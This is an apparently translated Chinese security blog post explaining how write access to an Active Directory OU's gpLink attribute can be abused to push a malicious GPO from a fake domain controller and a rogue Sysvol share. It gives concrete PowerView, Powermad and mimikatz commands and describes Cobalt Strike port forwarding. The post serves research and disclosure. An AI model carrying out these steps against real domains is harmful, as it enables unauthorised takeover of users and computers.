0x00 前言
如果我们可以修改OU(Organizational Unit,组织单位),就能修改gpLink
属性,搞定属于该OU及其子OU的任何计算机或者用户。
在开发SharpGPOAbuse工具之前,我想了解下Windows如何处理GPO(Group Policy Object,组策略对象)以及不同GPO组件之前如何进行关联。在寻找可能的攻击方式时,我找到了一个比较特别的属性:gpLink。gpLink
存在于所有AD(Active Directory,活动目录)容器中,比如Domain(域)对象以及OU中,并且包含与该容器有关的GPO所对应的LDAP路径。
0x01 GPO处理过程
虽然本文的重点并不是详细描述GPO的工作原理,但还是可以稍微总结下一些基本的概念,以便大家理解整个攻击步骤。
GPO由以下两个组件组成:
- GPC(Group Policy Container,组策略容器):这是GPO的LDAP部分,包含相关属性
- GPT(Group Policy Template,组策略模板):位于
Sysvol
中,包含实际的GPO设置
当客户端(用户或者主机)处理GPO设置时,将执行如下几个步骤:
1、客户端在目录结构中提取所有容器的gpLink
属性。gpLink
中包含必须被应用的GPO的LDAP路径。
2、客户端提取每个GPO关联的一些属性。其中有个属性为gPCFileSysPath,该属性包含实际GPO设置在Sysvol
中的具体位置。
3、客户端与gPCFileSysPath
指向的位置建立SMB连接。
4、客户端提取并应用GPO设置。
当然,以上只是简化版的操作过程,只列出了与本文介绍的攻击方式有关的一些步骤。需要注意的是,步骤1及步骤2依赖于LDAP协议(389/tcp
端口),步骤3及步骤4依赖于SMB协议(445/tcp
端口)。
0x02 攻击概览
为了实现攻击目标,我们需要满足如下条件:
1、我们需要具备必要的权限,以修改某个OU属性。
2、我们必须能够在目标域中添加计算机对象。
3、我们必须能够在目标域中添加DNS记录。
幸运的是,在默认配置的AD中,任何域用户都满足第2及第3个条件。
整个攻击过程如下图所示:
0x03 具体步骤
接下来我们以实际案例演示整个攻击过程。在这个示例中,目标域名为contoso.com
。假设我们已经搞定bob.smith
,该用户登录到WRKSTN02
工作站,具备修改Finance
OU的权限。我们的目标用户为alice.jones
,该用户是Finance
OU的一个成员:
Bob
是WRKSTN02
的本地管理员,虽然这并不是这种攻击的一个(严格)条件,但还是能简化我们的攻击示例过程。
首先,我们需要为test.contoso.com
添加一个新的DNS A
记录,将其指向bob.smith
登录的计算机(WRKSTN02
)。我们可以使用Powermad中的Invoke-DNSUpdate
来完成该任务:
Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 10.1.1.22 -Realm contoso.com
接下来,由于我们可以修改Finance
OU的属性,我们可以将其gpLink
属性指向如下目标:
[LDAP://cn={980F65E5-95F3-4536-81CF-1A48691F2D67},cn=policies,cn=system,DC=test,DC=contoso,DC=com;0]
我们可以使用如下PowerView函数来修改所需属性:
Get-DomainObject Finance | Set-DomainObject -Set @{'GpLink'='[LDAP://cn={980F65E5-95F3-4536-81CF-1A48691F2D67},cn=policies,cn=system,DC=test,DC=contoso,DC=com;0]'}
这意味着当客户端处理这个gpLink
属性时,就会向test.contoso.com
发起LDAP连接,尝试提取GPO属性(如gPCFileSysPath
、versionNumber
等)。
由于客户端会向test.contoso.com
(10.1.1.22
)发起LDAP连接(389/tcp
端口),因此我们需要拦截通信流量。为了完成该任务,我们可以使用Cobalt Strike的rportfwd
命令,打开已控制主机的389
端口,将其转发至目标网络外我们可控的某台服务器(10.2.2.40
):
该服务器为某个虚拟域(test.contoso.com
)的域控制器(DC,Domain Controller),当然这个虚拟域与目标域(contoso.com
)并没有任何关系。这里我们将这台新主机称为ATLANTIC$
。由于我们具备ATLANTIC$
的控制权,因此可以运行mimikatz来提取明文形式的主机密码(首先运行Reset-ComputerMachinePassword
powershell命令,然后运行sekurlsa::logonpasswords
命令)。
现在我们已经拿到虚拟DC的主机密码,我们可以在原始contoso.com
域中添加一个新的主机对象,将其密码设置为同一个密码。新的主机对象使用的名称为TEST
。我们可以使用Powermad完成该任务(记得在密码字符串中使用正确的转义符):
$pass = "cP:Wbp8!Faz-2`$06CXvM\*m`$U)+[a/VBA2>60o8`"Ri1 bIMwxN,j8AWzFENk7)`$R;CSYG1%;UIi``8,]4PY`"G``hc<'k63KroS(^rT9%BeI'V35lMN9YN7Pgh;"
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString $pass -AsPlainText -Force)
我们还需要确保新主机对象已注册了如下SPN,这样当客户端尝试向我们的虚拟test.contoso.com
域发起LDAP连接时,Kerberos认证过程能顺利通过(我使用的是稍加修改版的Powermad,以便在创建对象时注册这些SPN)。
LDAP/test.contoso.com
LDAP/TEST
HOST/TEST.contoso.com
HOST/TEST
现在,当客户端提取被修改的gpLink
属性值时,就会请求与LDAP/test.contoso.com
对应的TGS,而该TGS使用我们之前提供的ATLANTIC$
主机的密码哈希进行加密。因此,当我们的虚拟域控拿到TGS后,就可以成功进行解密。
目前我们可以让客户端向我们控制的恶意DC发起LDAP连接。在执行GPO更新过程后(参考0x01节内容),客户端现在会请求包括gPCFileSysPath
在内的一些GPO属性。因此,我们需要在伪造的test.contoso.com
域中创建一个恶意GPO(这里称之为TestGPO
),其中包含我们希望推送给受害者的各种设置。
注意:我们之前修改过
Finance
OU的gpLink
属性,其中的LDAP路径必须包含这个GPO的GUID信息。
在这个攻击场景中,我们可以简单创建一个计划任务,用来执行calc.exe
。
现在客户端会通过SMB连接到gPCFileSysPath
所指向的位置,以便获取GPO设置。前面提到过,我们具备WRKSTN02
的本地管理员权限,这是非常有用的一点。我们可以使用这些权限来创建一个新的共享目录(Sysvol
),允许Authenticated Users
组的成员读取目录内容:
这个共享目录用来托管恶意GPO设置,我们可以从test.contoso.com
域对应的“伪造”域控的Sysvol
共享中拷贝这些设置。
此外,我们必须使用如下内容来替换test.contoso.com
域中TestGPO
对象gPCFileSysPath
属性的已有值:
\\wrkstn02.contoso.com\SysVol\contoso.com\Policies\{980F65E5-95F3-4536-81CF-1A48691F2D67}
当客户端提取gPCFileSysPath
属性的值时,会发现TestGPO
的GPO设置位于WRKSTN02
工作站的Sysvol
共享中。
如下图所示,在下一个GPO刷新周期中,由于alice.jones
为Finance
OU的成员,因此前面设置的计划任务会成功创建,立即弹出计算器,代表我们攻击任务已成功完成:
0x04 总结
在上述过程中,我们使用恶意DC来托管恶意GPO(GPC)的LDAP组件,在已被突破的工作站上通过Sysvol
共享来托管恶意GPO的具体设置(GPT)。
最后我们还需要注意一点,即使目标环境配置了强化版的UNC路径,这种攻击方式还是有可能成功。由于我们没有执行任何中间人攻击,并且kerberos认证过程也能正常工作,因此这种安全控制策略并不能用来防御这种技术。如下图所示,即使配置了强化版UNC路径,我们也能攻击成功:
如下图所示,在Wireshark中,受害者主机WRKSTN01
(10.1.1.20
)及被攻击者控制的WRKSTN02
(10.1.1.22
)之间的SMB流量经过加密,表明目标环境已部署了强化版UNC路径:
我们已向微软反馈了这种攻击方式,官方认为这是一种正常的行为,不会进行修复。